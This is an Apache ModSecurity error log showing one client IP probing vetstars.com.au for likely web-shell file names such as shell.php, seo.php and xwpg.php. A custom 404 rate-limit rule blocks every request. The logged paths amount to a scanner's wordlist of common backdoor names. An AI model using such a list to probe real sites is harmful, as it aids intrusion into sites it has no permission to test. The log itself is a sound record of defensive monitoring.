[Sat Apr 25 20:59:27.429088 2026] [:error] [pid 3212:tid 3224] [client 74.248.33.118:58591] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aey6r_g-28TY8_YLtUckewAAAQo"]
[Sat Apr 25 20:59:27.983985 2026] [:error] [pid 3212:tid 3228] [client 74.248.33.118:58608] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aey6r_g-28TY8_YLtUckfwAAAQ4"]
[Sat Apr 25 20:59:28.741249 2026] [:error] [pid 3212:tid 3227] [client 74.248.33.118:59854] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aey6sPg-28TY8_YLtUckggAAAQ0"]
[Sat Apr 25 20:59:29.337661 2026] [:error] [pid 3212:tid 3220] [client 74.248.33.118:56240] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aey6sfg-28TY8_YLtUckhQAAAQY"]
[Sat Apr 25 20:59:29.928204 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:61558] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aey6sfg-28TY8_YLtUckiAAAARY"]
[Sat Apr 25 20:59:30.484925 2026] [:error] [pid 59896:tid 59905] [client 74.248.33.118:59844] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aey6srLLzhtkd-OXUgDolgAAAEU"]
[Sat Apr 25 20:59:31.117966 2026] [:error] [pid 59896:tid 59911] [client 74.248.33.118:61843] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aey6s7LLzhtkd-OXUgDomwAAAEs"]
[Sat Apr 25 20:59:31.698997 2026] [:error] [pid 59897:tid 59938] [client 74.248.33.118:58559] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aey6s_BrrkdzpEbmK4eAXAAAAIs"]
[Sat Apr 25 20:59:32.753384 2026] [:error] [pid 59898:tid 59964] [client 74.248.33.118:57297] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aey6tB-4vImxb0kbdzeoeQAAAMo"]
[Sat Apr 25 20:59:33.336428 2026] [:error] [pid 59898:tid 59968] [client 74.248.33.118:58555] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aey6tR-4vImxb0kbdzeoewAAAM4"]
[Sat Apr 25 20:59:33.919594 2026] [:error] [pid 59898:tid 59978] [client 74.248.33.118:58620] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aey6tR-4vImxb0kbdzeofQAAANg"]
[Sat Apr 25 20:59:34.558708 2026] [:error] [pid 59896:tid 59909] [client 74.248.33.118:57216] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aey6trLLzhtkd-OXUgDongAAAEk"]
[Sat Apr 25 20:59:35.205403 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:58515] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aey6t_g-28TY8_YLtUckjgAAARY"]
[Sat Apr 25 20:59:35.803643 2026] [:error] [pid 3212:tid 3222] [client 74.248.33.118:57343] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aey6t_g-28TY8_YLtUckjwAAAQg"]
[Sat Apr 25 20:59:36.490398 2026] [:error] [pid 59985:tid 59990] [client 74.248.33.118:59801] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aey6uAF_zDvEhKvyTH6pjAAAAAM"]
[Sat Apr 25 20:59:37.311865 2026] [:error] [pid 3212:tid 3229] [client 74.248.33.118:61541] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aey6ufg-28TY8_YLtUcklgAAAQ8"]
[Sat Apr 25 20:59:37.957146 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:61884] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aey6ufg-28TY8_YLtUckmQAAARY"]
[Sat Apr 25 20:59:38.556532 2026] [:error] [pid 3212:tid 3232] [client 74.248.33.118:58496] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aey6uvg-28TY8_YLtUcknQAAARI"]
[Sat Apr 25 20:59:39.200104 2026] [:error] [pid 3212:tid 3217] [client 74.248.33.118:58499] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aey6u_g-28TY8_YLtUckogAAAQM"]
[Sat Apr 25 20:59:40.129313 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:58619] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aey6vPg-28TY8_YLtUckqAAAARY"]
[Sat Apr 25 20:59:40.721573 2026] [:error] [pid 59985:tid 60003] [client 74.248.33.118:61829] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aey6vAF_zDvEhKvyTH6pkwAAABA"]
[Sat Apr 25 20:59:41.389636 2026] [:error] [pid 3212:tid 3237] [client 74.248.33.118:56161] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aey6vfg-28TY8_YLtUcksgAAARc"]
[Sat Apr 25 20:59:42.031586 2026] [:error] [pid 3212:tid 3226] [client 74.248.33.118:58569] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aey6vvg-28TY8_YLtUckuQAAAQw"]
[Sat Apr 25 20:59:42.723346 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:56140] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aey6vvg-28TY8_YLtUckuwAAARY"]
[Sat Apr 25 20:59:43.299184 2026] [:error] [pid 59897:tid 59946] [client 74.248.33.118:61757] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aey6v_BrrkdzpEbmK4eAaQAAAJM"]
[Sat Apr 25 20:59:43.989615 2026] [:error] [pid 59896:tid 59910] [client 74.248.33.118:58578] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aey6v7LLzhtkd-OXUgDopQAAAEo"]
[Sat Apr 25 20:59:44.716634 2026] [:error] [pid 59897:tid 59951] [client 74.248.33.118:57335] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aey6wPBrrkdzpEbmK4eAbAAAAJg"]
[Sat Apr 25 20:59:45.325459 2026] [:error] [pid 59985:tid 59987] [client 74.248.33.118:61527] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aey6wQF_zDvEhKvyTH6plQAAAAA"]
[Sat Apr 25 20:59:45.958068 2026] [:error] [pid 59985:tid 60003] [client 74.248.33.118:59872] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aey6wQF_zDvEhKvyTH6plwAAABA"]
[Sat Apr 25 20:59:46.614605 2026] [:error] [pid 59896:tid 59900] [client 74.248.33.118:61860] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aey6wrLLzhtkd-OXUgDorQAAAEA"]
[Sat Apr 25 20:59:47.163755 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:58517] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aey6w_g-28TY8_YLtUckxAAAAQU"]
[Sat Apr 25 20:59:47.791804 2026] [:error] [pid 3212:tid 3226] [client 74.248.33.118:58564] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aey6w_g-28TY8_YLtUckxgAAAQw"]
[Sat Apr 25 20:59:48.395614 2026] [:error] [pid 59896:tid 59911] [client 74.248.33.118:61832] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aey6xLLLzhtkd-OXUgDotwAAAEs"]
[Sat Apr 25 20:59:48.940958 2026] [:error] [pid 59897:tid 59936] [client 74.248.33.118:61869] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aey6xPBrrkdzpEbmK4eAcQAAAIk"]
[Sat Apr 25 20:59:49.829946 2026] [:error] [pid 59896:tid 59902] [client 74.248.33.118:57224] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aey6xbLLzhtkd-OXUgDovgAAAEI"]
[Sat Apr 25 20:59:50.766014 2026] [:error] [pid 59896:tid 59907] [client 74.248.33.118:61830] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aey6xrLLzhtkd-OXUgDowgAAAEc"]
[Sat Apr 25 20:59:51.431702 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:57252] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aey6x_g-28TY8_YLtUckyAAAARY"]
[Sat Apr 25 20:59:53.009976 2026] [:error] [pid 3212:tid 3233] [client 74.248.33.118:61872] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aey6yfg-28TY8_YLtUckzgAAARM"]
[Sat Apr 25 20:59:54.784050 2026] [:error] [pid 59985:tid 59991] [client 74.248.33.118:56156] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aey6ygF_zDvEhKvyTH6poAAAAAQ"]
[Sat Apr 25 21:00:42.978310 2026] [:error] [pid 3212:tid 3229] [client 74.248.33.118:59836] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aey6-vg-28TY8_YLtUcleQAAAQ8"]
[Sat Apr 25 21:00:44.142744 2026] [:error] [pid 3212:tid 3216] [client 74.248.33.118:58601] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aey6_Pg-28TY8_YLtUclgQAAAQI"]
[Sat Apr 25 21:00:44.931895 2026] [:error] [pid 3212:tid 3229] [client 74.248.33.118:59800] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aey6_Pg-28TY8_YLtUcliAAAAQ8"]
[Sat Apr 25 21:00:45.829710 2026] [:error] [pid 59985:tid 59987] [client 74.248.33.118:58520] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aey6_QF_zDvEhKvyTH6pzgAAAAA"]
[Sat Apr 25 21:00:46.901743 2026] [:error] [pid 59898:tid 59976] [client 74.248.33.118:61747] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aey6_h-4vImxb0kbdzeomwAAANY"]
[Sat Apr 25 21:00:47.531882 2026] [:error] [pid 59897:tid 59950] [client 74.248.33.118:59818] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aey6__BrrkdzpEbmK4eApQAAAJc"]
[Sat Apr 25 21:00:48.404225 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:57310] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aey7APg-28TY8_YLtUclkAAAAQU"]
[Sat Apr 25 21:00:49.609937 2026] [:error] [pid 59985:tid 59999] [client 74.248.33.118:58567] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aey7AQF_zDvEhKvyTH6p1gAAAAw"]
[Sat Apr 25 21:00:50.610647 2026] [:error] [pid 59896:tid 59906] [client 74.248.33.118:57244] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aey7ArLLzhtkd-OXUgDpEAAAAEY"]
[Sat Apr 25 21:00:51.273304 2026] [:error] [pid 59896:tid 59923] [client 74.248.33.118:59879] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aey7A7LLzhtkd-OXUgDpFAAAAFc"]
[Sat Apr 25 21:00:52.161066 2026] [:error] [pid 3212:tid 3233] [client 74.248.33.118:59890] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aey7BPg-28TY8_YLtUclmQAAARM"]
[Sat Apr 25 21:00:52.882304 2026] [:error] [pid 59897:tid 59933] [client 74.248.33.118:59852] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aey7BPBrrkdzpEbmK4eAqQAAAIY"]
[Sat Apr 25 21:00:53.912958 2026] [:error] [pid 3212:tid 3224] [client 74.248.33.118:58509] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aey7Bfg-28TY8_YLtUclngAAAQo"]
[Sat Apr 25 21:00:54.718124 2026] [:error] [pid 3212:tid 3227] [client 74.248.33.118:61517] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aey7Bvg-28TY8_YLtUclowAAAQ0"]
[Sat Apr 25 21:00:56.506504 2026] [:error] [pid 3212:tid 3215] [client 74.248.33.118:58411] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aey7CPg-28TY8_YLtUclswAAAQE"]
[Sat Apr 25 21:00:57.940067 2026] [:error] [pid 59896:tid 59910] [client 74.248.33.118:61825] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aey7CbLLzhtkd-OXUgDpHAAAAEo"]
[Sat Apr 25 21:00:59.023461 2026] [:error] [pid 59897:tid 59932] [client 74.248.33.118:59887] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aey7C_BrrkdzpEbmK4eAsAAAAIU"]
[Sat Apr 25 21:01:00.365087 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:59893] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aey7DPg-28TY8_YLtUclwQAAARY"]
